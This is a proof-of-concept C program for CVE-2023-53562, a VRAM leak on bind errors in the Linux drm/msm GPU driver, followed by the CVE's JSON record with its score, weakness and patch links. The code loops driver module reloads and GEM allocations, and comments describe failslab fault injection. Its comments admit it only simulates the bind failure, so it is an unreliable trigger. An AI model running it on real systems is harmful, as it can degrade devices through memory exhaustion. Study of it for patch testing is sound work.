CVE-2023-53562

// CVE-2023-53562 PoC - Trigger VRAM leak in drm/msm driver // This PoC demonstrates how to trigger the VRAM memory leak by // causing a subcomponent bind failure during GPU initialization. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/msm_drm.h> // Note: This vulnerability requires kernel-level access to trigger. // The actual exploitation involves manipulating the GPU device binding // process to cause subcomponent initialization failures. /* * Trigger Strategy: * 1. Load the msm GPU driver module * 2. Attempt to open the DRM device (/dev/dri/card0) * 3. Force a bind error by manipulating hardware state or dependencies * 4. Observe VRAM memory not being released * * On a vulnerable system, checking /sys/kernel/debug/dri/0/vram * after repeated bind failures will show increasing memory usage. */ int main(int argc, char *argv[]) { int fd; int ret; int iterations = 100; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53562 PoC: VRAM Leak in drm/msm\n"); printf("Iterations: %d\n", iterations); for (int i = 0; i < iterations; i++) { // Open the DRM device for the MSM GPU fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); // Try to trigger rebind system("modprobe -r msm 2>/dev/null"); system("modprobe msm 2>/dev/null"); continue; } // Attempt to allocate GEM object (triggers VRAM allocation) struct drm_msm_gem_new gem_new; gem_new.size = 4096 * 1024; // 4MB allocation gem_new.flags = 0; ret = ioctl(fd, DRM_MSM_GEM_NEW, &gem_new); if (ret < 0) { // This simulates a bind failure scenario fprintf(stderr, "GEM allocation failed at iteration %d\n", i); } close(fd); // Force driver rebind to trigger leak if (i % 10 == 0) { system("modprobe -r msm 2>/dev/null"); usleep(100000); system("modprobe msm 2>/dev/null"); } } printf("PoC execution complete. Check VRAM usage for leaks.\n"); return 0; } /* * Kernel-side trigger (requires root/CAP_SYS_ADMIN): * * To trigger the actual vulnerability at the kernel level: * 1. Use a faulty device tree or corrupted firmware to cause * a subcomponent bind failure * 2. Or use fault injection (e.g., fault-inject capability) to * make the bind function fail after VRAM allocation * * Example using fault injection: * echo 1 > /sys/kernel/debug/failslab/times * echo 100 > /sys/kernel/debug/failslab/probability * modprobe msm # This will trigger the leak */

{"cve": {"id": "CVE-2023-53562", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:51.643", "lastModified": "2026-03-21T00:39:20.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm: fix vram leak on bind errors\n\nMake sure to release the VRAM buffer also in a case a subcomponent fails\nto bind.\n\nPatchwork: https://patchwork.freedesktop.org/patch/525094/"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.169", "versionEndExcluding": "4.20", "matchCriteriaId": "9A3FDCC7-743B-4C07-97D4-7004EC75E052"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.91", "versionEndExcluding": "5.5", "matchCriteriaId": "1FDC12D0-2C56-4F4C-9EBF-45DCF5316E5D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.9", "versionEndExcluding": "5.11", "matchCriteriaId": "AE6534D6-1E44-4B92-AC22-ADB9B95AFB65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11.1", "versionEndExcluding": "6.1.29", "matchCriteriaId": "6D1C64CB-C56F-4238-9B3E-271163676D2A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.16", "matchCriteriaId": "F92F7C8E-A977-4255-B1B6-D1908D8B408F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.3", "matchCriteriaId": "6D96A7FC-D812-4458-AEA8-3FF4023E6B75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.11:-:*:*:*:*:*:*", "matchCriteriaId": "7AD3510E-E8FA-47F3-9AD5-D8EA4A2719D1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.11:rc3:*:*:*:*:*:*", "matchCriteriaId": "18C82C96-2853-4DFE-93AD-F6E59B4129CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.11:rc4:*:*:*:*:*:*", "matchCriteriaId": "A330B043-47EA-4D06-82BF-153A1735FC11"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.11:rc5:*:*:*:*:*:*", "matchCriteriaId": "F0EE963C-B36C-4143-96A9-65BCA7D8F2EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.11:rc6:*:*:*:*:*:*", "matchCriteriaId": "B511E2F6-2917-4797-8909-8F7EA4870C7B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.11:rc7:*:*:*:*:*:*", "matchCriteriaId": "E9FA9D80-C790-41EA-8A21-DF7B170465E0"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/544711591a67a6da4d9f0f70ba3c805eb2548729", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/60d476af96015891c7959f30838ae7a9749932bf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c02e8c1c5b3eb0b6193946194ac280f58f48b3b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e3401e07ba98a94b978164b7e873c25e5fc82b4b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}